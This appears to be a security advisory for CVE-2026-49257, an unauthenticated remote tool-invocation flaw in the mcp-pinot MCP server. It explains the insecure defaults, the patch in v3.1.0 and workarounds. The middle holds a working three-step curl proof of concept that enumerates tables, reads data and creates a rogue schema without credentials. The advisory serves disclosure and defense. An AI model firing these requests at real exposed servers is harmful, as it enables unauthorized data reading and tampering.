CVE-2026-49257: mcp-pinot-server Unauthenticated Remote Tool Invocation
The mcp-pinot MCP server binds to all network interfaces with authentication disabled by default, letting any remote caller read or modify a production Apache Pinot cluster without any credentials.
The problem
mcp-pinot v3.0.1 and earlier start an HTTP server on 0.0.0.0:8080 with oauth_enabled defaulting to False. All 14 registered MCP tools, including SQL query execution, schema creation, and table-config mutation, are reachable by any host that can reach port 8080.
Because the server forwards every tool call using its own server-side PINOT_TOKEN or PINOT_USERNAME/PINOT_PASSWORD, an unauthenticated caller inherits the full privileges of that service account. This is a classic confused-deputy condition: the caller has no identity, but the server launders their request through a privileged credential against the upstream Pinot cluster.
Proof of concept
# Step 1: enumerate tables (zero credentials required)
curl -s -X POST http://TARGET:8080/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"list_tables","arguments":{}},"id":1}'
# Step 2: read arbitrary table data (server forwards with its own Pinot credentials)
curl -s -X POST http://TARGET:8080/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"read_query","arguments":{"query":"SELECT * FROM <table> LIMIT 100"}},"id":2}'
# Step 3: create a rogue schema (write path, same endpoint, still no auth)
curl -s -X POST http://TARGET:8080/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"create_schema","arguments":{"schemaJson":"{\"schemaName\":\"attacker_schema\",\"dimensionFieldSpecs\":[{\"name\":\"id\",\"dataType\":\"STRING\"}]}"}},"id":3}'Three defaults compose into the vulnerability. First, ServerConfig sets oauth_enabled=False and host="0.0.0.0" out of the box. Second, the FastMCP instance is constructed with auth=None whenever oauth_enabled is false, so the framework registers all @mcp.tool handlers with no authentication middleware.
Third, the HTTP transport in server.py passes the 0.0.0.0:8080 bind values directly to uvicorn, making every tool immediately reachable from the network.
The patch commit 1c7d3f9 (PR #95, v3.1.0) changes the default bind to 127.0.0.1 and adds a startup guard that refuses to run HTTP transport on a non-loopback host unless OAuth is explicitly enabled. That guard is exactly what the payload bypasses in the unpatched version: no loopback check existed, so any remote JSON-RPC POST to /mcp was accepted and executed.
The fix
Upgrade mcp-pinot-server to 3.1.0 (released 2026-05-25). The release changes the default MCP_HOST to 127.0.0.1, refuses to start when transport is HTTP, the host is non-loopback, and OAuth is disabled, and makes Helm network exposure opt-in and OAuth-gated. If an immediate upgrade is not possible, set MCP_HOST=127.0.0.1 in your .env to restrict the bind to loopback, or set OAUTH_ENABLED=true with a valid OAuth configuration before exposing the server on any non-loopback interface.
Reported by Tomer Peled (Akamai Security Research).